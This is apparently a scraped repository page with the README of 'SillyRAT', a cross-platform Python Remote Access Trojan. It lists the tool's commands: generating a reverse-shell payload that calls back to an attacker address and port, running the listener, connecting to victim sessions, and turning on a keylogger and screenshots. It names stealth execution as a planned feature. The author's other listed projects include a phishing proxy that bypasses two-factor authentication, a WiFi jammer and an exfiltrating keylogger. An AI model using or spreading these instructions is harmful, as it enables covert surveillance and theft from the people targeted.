• Stars
    star
    687
  • Rank 65,799 (Top 2 %)
  • Language
    Python
  • License
    MIT License
  • Created over 4 years ago
  • Updated about 1 year ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

A Python based RAT 🐀 (Remote Access Trojan) for getting reverse shell 🖥️

SillyRAT
SillyRAT

platform: cross Python: 3 Release: v3.1 lisence

A Cross Platform multifunctional (Windows/Linux/Mac) RAT.

Getting Started

Description

A cross platform RAT written in pure Python. The RAT accept commands alongside arguments to either perform as the server who accepts connections or to perform as the client/target who establish connections to the server. The generate command uses the module pyinstaller to compile the actual payload code. So, in order to generate payload file for your respective platform, you need to be on that platform while generating the file. Moreover, you can directly get the source file as well.

Features

  • Built-in Shell for command execution
  • Dumping System Information including drives and rams
  • Screenshot module. Captures screenshot of client screen.
  • Connection Loop (Will continue on connecting to server)
  • Currently, it uses BASE64 encoding.
  • Pure Python
  • Cross Platform. (Tested on Linux. Errors are accepted)
  • Source File included for testing
  • Python 3

To be expected in future

  • Stealth Execution
  • Encryption
  • Storing Sessions from last attempt
  • Pushing Notifications when a client connects

Installation

The tool is tested on Parrot OS with Python 3.8. Follow the steps for installation:

$ git clone https://github.com/hash3liZer/SillyRAT.git
$ cd SillyRAT/
$ pip3 install -r requirements.txt

Documentation

Generating Payload

You can get the payload file in two ways:

  • Source File
  • Compiled File
The source file is to remain same on all platforms. So, you can generate it on one platform and use it on the other. Getting the source file:
$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/payload.py --source

The compiled version has to generated on the respective platform. For example, you can't generate an .exe file on Linux. You specifically have to be on Windows. The tool is still under testing. So, all kinds of errors are accepted. Make sure to open an issue though. Generating the Compiled Version for Linux:

$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/filer

Replace your IP Address and Port on above commands.

Running Server

The server must be executed on Linux. You can buy a VPS or Cloud Server for connections. For the record, the server doesn't store any session from last run. So, all the progress will lost once the server application gets terminated. Running your server:

$ python3 sillyrat.py bind --address 0.0.0.0 --port 2999

Connections

All the connections will be listed under sessions command:

$ sessions

You can connect to you target session with connect command and launch one of available commands:

$ connect ID
$ keylogger on
$ keylogger dump
$ screenshot

Help

Get a list of available commands:

$ help

Help on a Specific Command:

$ help COMMAND

Support

Twitter: @hash3liZer
Discord: TheFlash2k#0407

More Repositories

1

WiFiBroot

A Wireless (WPA/WPA2) Pentest/Cracking tool. Captures & Crack 4-way handshake and PMKID key. Also, supports a deauthentication/jammer mode for stress testing
Python
944
star
2

Subrake

🚀 A DNS automated scanner and tool 🖱️ (Zone Transfer, DNS Zone Takeover, Subdomain Takeover).
CSS
283
star
3

wifijammer

Wireless Jammer to Disconnect Nearby Access-Points and Stations.
Python
196
star
4

phishlets

Phishlets for Evilginx2 (MITM proxy Framework)
142
star
5

evilginx2

Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication
Go
96
star
6

airpydump

Analyze Wireless Packets on the fly. Currently supporting three working Modes (Reader, Live, Stealth)
Python
51
star
7

Proxverter

Cross platform system wide proxy server & TLS Interception library for Python
Python
23
star
8

CVE-2019-9978

CVE-2019-9978 - (PoC) RCE in Social WarFare Plugin (<=3.5.2)
Python
20
star
9

Blunder

A Simple Keylogger with the ability of FTP Transfer and Local Storage
C++
19
star
10

BruteList

Combined Worldlist from various projects Including Seclists, fuzzdb and other Database Management Tools
PHP
16
star
11

locohunt

Search for Secrets and Other Confidential Information Through Directories and Files Based on Regex and Search Strings.
Python
10
star
12

Syntax-Checker

A Simple Syntax Checker to check for basic errors in a file. Written in C++
C++
6
star
13

hash3liZer

Hey, Its ME
6
star
14

profileo

🫠 A portfolio that i literally worked on for you 👉🏻👈🏻 CI/CD Integrated.
JavaScript
4
star
15

SubTap

Subdomain Takeover
Python
2
star
16

kysyandbox

Sandbox for KYPO Cyber Range (Testing)
1
star
17

tag

TAG is django powered something platform.
Python
1
star
18

netsand

A Simple network topology designed for KYPO Cyber Range (Scenario)
PHP
1
star
19

khatta

📔 A Khatta (urdu for ledger). Based on Urara 🌸 (A sweet Svelte based theme)
Svelte
1
star